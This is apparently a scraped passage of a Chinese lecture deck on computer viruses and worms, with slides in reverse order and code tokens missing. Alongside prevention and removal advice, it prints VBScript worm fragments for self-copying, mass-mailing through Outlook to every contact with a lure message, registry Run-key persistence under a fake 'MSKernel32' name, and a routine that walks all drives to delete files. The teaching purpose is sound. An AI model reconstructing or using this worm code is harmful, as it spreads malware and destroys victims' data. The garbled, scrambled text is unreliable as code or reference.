計(jì)算機(jī)病毒技術(shù)ppt課件(參考版)
2025-01-11 05:31本頁面
【正文】 x amp。讀每個(gè)磁盤驅(qū)動(dòng)器的符號(hào) x = Mid(ss, i, 1) 39。得到符號(hào)串的反向小寫形式 ss = LCase(StrReverse(Trim(ss))) 39。就將符號(hào)連在一起 ss = ss amp。得到磁盤驅(qū)動(dòng)器的集合 Set disc = 54 蠕蟲病毒破壞的部分代碼 For Each ds In disc 39。屏蔽掉刪除的過程 (echo off) 39。容錯(cuò)語句，避免程序崩潰 On Error Resume Next Dim fs, auto, disc, ds, ss, i, x, dir Set fs = CreateObject() 39。 \ 53 蠕蟲病毒破壞的部分代碼 39。超時(shí)設(shè)置 HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout , 0, REG_DWORD end if 執(zhí)行代碼 52 蠕蟲病毒潛伏的部分代碼 以下代碼是修改注冊(cè)表，使得每次系統(tǒng)啟動(dòng)時(shí)自動(dòng)執(zhí)行腳本文件 RegCreate HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSKernel32, dirsystem amp。創(chuàng)建 set wscr=CreateObject() 39。清空 objOA變量 set objOA=Nothing 51 蠕蟲病毒潛伏的部分代碼 39。發(fā)送郵件 Next Next 39。設(shè)置信件內(nèi)容 =這次給你的附件 ,是我的新文檔！ 39。取得收件人郵件地址 (objAddList. AddressEntries (j)) 39。取得 MAPI名字空間 Set objMapi= (MAPI) 39。 執(zhí)行代碼 如將第二條語句改為： ().Copy(“c:\”) 就可以實(shí)現(xiàn)將自身復(fù)制到 C盤 執(zhí)行代碼 49 蠕蟲病毒傳播的部分代碼 39。創(chuàng)建一個(gè)文件對(duì)象 Set objFs = CreateObject() 39?！笨梢哉f云安全開創(chuàng)了計(jì)算機(jī)安全 。整個(gè)互聯(lián)網(wǎng)就是一個(gè)巨大的“殺毒軟件”，參與者越多，每個(gè)參與者就越安全，整個(gè)互聯(lián)網(wǎng)就會(huì)更安全。 47 云安全技術(shù) ? “云安全”技術(shù)是網(wǎng)絡(luò)時(shí)代信息安全的最新體現(xiàn)，它融合了并行處理、網(wǎng)格計(jì)算、未知病毒行為判斷等新興技術(shù)和概念，通過網(wǎng)狀的大量客戶端對(duì)網(wǎng)絡(luò)中軟件行為的異常監(jiān)測(cè)，獲取互聯(lián)網(wǎng)中木馬、惡意程序的最新信息，發(fā)送到服務(wù)端進(jìn)行自動(dòng)分析和處理，然后再把病毒和木馬的解決方案分發(fā)到每一個(gè)客戶端。 ? 清除步驟如下： 給系統(tǒng)漏洞打補(bǔ)丁 清除內(nèi)存中的病毒進(jìn)程 刪除注冊(cè)表中的病毒項(xiàng) 為了每次開機(jī)自動(dòng)啟動(dòng)，蠕蟲會(huì)修改注冊(cè)表中的啟動(dòng)項(xiàng)，具體位置是HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 刪除病毒文件。 44 個(gè)人用戶對(duì)蠕蟲病毒的防范措施 ? 安裝合適的殺毒軟件 ? 經(jīng)常升級(jí)病毒庫 ? 提高防殺毒意識(shí)，不要輕易去點(diǎn)擊陌生的站點(diǎn) ? 不隨意查看陌生郵件，尤其是帶有附件的郵件 45 如何預(yù)防和清除蠕蟲 ? 補(bǔ)齊系統(tǒng)和應(yīng)用軟件的補(bǔ)丁程序 ? 安裝防病毒軟件 ? 利用蠕蟲專殺工具 ? 手工清除蠕蟲 ? 注意 : ? 根據(jù)蠕蟲利用網(wǎng)絡(luò)傳播的特點(diǎn)，因此在殺蠕蟲時(shí)需要切斷染毒機(jī)器與網(wǎng)絡(luò)的連接，否則在殺蠕蟲的同時(shí)又會(huì)不斷地重新感染。 ? 對(duì)郵件服務(wù)器進(jìn)行監(jiān)控，防止帶毒郵件進(jìn)行傳播。于是蠕蟲傳播的越廣，網(wǎng)絡(luò)上的掃描包就越多。有些掃描程序會(huì)不斷重復(fù)上面這一過程。 ? 有些蠕蟲還會(huì)在染毒機(jī)器上留有后門，威脅計(jì)算機(jī)的安全。 42 蠕蟲所造成的威脅 ? 蠕蟲所造成的主要威脅包括： ? 占用了大量網(wǎng)絡(luò)帶寬，造成網(wǎng)絡(luò)擁塞，網(wǎng)絡(luò)性能急劇下降。 ：攻擊模塊按漏洞攻擊步驟自動(dòng)攻擊步驟 1中找到的對(duì)象，取得該主機(jī)的權(quán)限（一般為管理員權(quán)限），獲得一個(gè) shell。 ? 蠕蟲程序的一般傳播過程為： ：由蠕蟲的掃描功能模塊負(fù)責(zé)探測(cè)存在漏洞的主機(jī)。 ? 蠕蟲的傳播技術(shù)是蠕蟲技術(shù)的首要技術(shù)，傳播模塊實(shí)現(xiàn)的實(shí)際上是自動(dòng)入侵的功能。 ? 隱藏模塊 ? 侵入主機(jī)后，隱藏蠕蟲程序，防止被用戶發(fā)現(xiàn)。 ? 與黑客技術(shù)相結(jié)合 ! 潛在的威脅和損失更大。 ? 傳播方式多樣 ? 如 “ 尼姆達(dá) ” 病毒和 ” 求職信 ” 病毒，可利用的傳
教學(xué)課件相關(guān)推薦
鄂ICP備17016276號(hào)-1